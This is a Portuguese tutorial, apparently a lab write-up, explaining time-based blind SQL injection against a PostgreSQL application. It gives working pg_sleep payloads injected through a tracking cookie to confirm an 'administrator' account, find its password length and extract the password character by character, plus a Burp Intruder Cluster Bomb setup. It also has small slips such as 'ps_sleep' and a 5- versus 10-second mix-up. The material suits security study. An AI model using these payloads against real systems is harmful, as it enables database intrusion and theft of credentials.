SQL Injection

Blind SQL Injection

Delays Temporais e Retorno de Informação

No exercicio anterior descobrimos que o banco de dados da aplicação é PostgreSQL. Agora, temos que através da técnica de delays temporais, descobrir a password do usuário “administrator”. Assim sendo, temos que adaptar a nossa injeção para extrair informação do banco de dados. Vamos começar por validar que existe um usuário com o username “administrator”

SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘$tracking_cookie’;

Injeção: ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’)--

Query: SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘ ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’)---’;

Explicação da Injeção

SELECT pg_sleep(10): Define um delay temporal na resposta da aplicação consoante se existe ou não um usuário com username “administrator”. Ou seja, se existir um usuário com username “administrator”, a query vai devolver o resultado da função ps_sleep(10). Esta função serve para criar um delay temporal, neste caso de 10 segundos. No entanto, se não existir um usuário com o username “administrator”, a query não vai devolver o resultado da função ps_sleep(10). A partir desta metodologia, é possível mapear a informação que se encontra no banco de dados. Como existe um usuário com o username “administrator”, é executada a função pg_sleep(10) e a aplicação demora 10 segundos a devolver a resposta.

Delays Temporais e Retorno de Informação

Agora que verificamos a existência do usuário com o username “administrator”, vamos tentar descobrir o tamanho (nº de caracteres) da respectiva password.

SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘$tracking_cookie’;

Injeção: ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’ AND LENGTH(password)>1)--

Query: SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’ AND LENGTH(password)>1)--’;

Explicação da Injeção

SELECT ps_sleep(10): Define um delay temporal na resposta da aplicação consoante se a password do usuário com username “administrator” tem tamanho superior a 1 caractere ou não. Ou seja, se a password do usuário com username “administrator” tiver um tamanho superior a 1 caractere , a query vai devolver o resultado da função ps_sleep(10). Esta função serve para criar um delay temporal, neste caso de 10 segundos. No entanto, se não existir um usuário com o username “administrator” com password superior a 1 caractere, a query vai devolver o resultado quase instantaneamente. A partir desta metodologia, é possível mapear a informação que se encontra no banco de dados. Como existe um usuário com o username “administrator” com tamanho da password superior a 1 caractere, é executada a função pg_sleep(10) e a aplicação demora 10 segundos a devolver a resposta.

Delays Temporais e Retorno de Informação

Agora que sabemos o tamanho da password do usuário “administrator”, podemos descobrir a respectiva password, caractere a caractere.

SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘$tracking_cookie’;

Injeção: ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’ AND SUBSTRING(password,1,1)=‘a’)--

Query: SELECT trackid FROM TrackedUsers WHERE tracking_id = ‘ || (SELECT pg_sleep(10) FROM users WHERE username=‘administrator’ AND SUBSTRING(password,1,1)=‘a’--)**’;**

Explicação da Injeção

SELECT ps_sleep(10): Define um delay temporal na resposta da aplicação consoante se o primeiro caractere da password do usuário “administrator” é ou não “a”. Ou seja, se o primeiro caractere da password do usuário com username “administrator” for “a”, a query vai devolver o resultado da função ps_sleep(10). Esta função serve para criar um delay temporal, neste caso de 5 segundos. No entanto, se a condição for falsa (não existir um usuário com o usuário “administrator” cujo primeiro caractere da password é “a” , a query vai devolver uma resposta quase instantânea. A partir desta metodologia, é possível mapear a informação que se encontra no banco de dados. Como o primeiro caractere da password do usuário “administrator” não é um “a”, não é executada a função pg_sleep(10) e a aplicação não tem nenhum delay na resposta.

Delays Temporais e Retorno de Informação

Posições dos Payloads

SUBSTRING(password,1,1) = 'a'--

Payload 1 (Lista de Caracteres): 1, 2, 3, ..., 20

Payload 2 (Lista de Caracteres): a, b, ..., z, 0, 1, ..., 9

Burp Intruder | Attack Type: Cluster Bomb

Requisição	Resposta			
SUBSTRING(password,1,1) = 'a'--	Status	Timeout	Length	Response Received
SUBSTRING(password,2,1) = 'a'--	Status	Timeout	Length	Response Received
SUBSTRING(password,_,1) = 'a'--	Status	Timeout	Length	Response Received
SUBSTRING(password,20,1) = 'a'--	Status	Timeout	Length	Response Received
SUBSTRING(password,1,1) = 'b'--	Status	Timeout	Length	Response Received
SUBSTRING(password,2,1) = 'b'--	Status	Timeout	Length	Response Received
SUBSTRING(password,_,1) = 'b'--	Status	Timeout	Length	Response Received
SUBSTRING(password,20,1) = 'b'--	Status	Timeout	Length	Response Received

Response Received corresponde ao tempo que demorou para a aplicação ter a resposta de cada requisição. É necessário configurar o burp para esta coluna aparecer.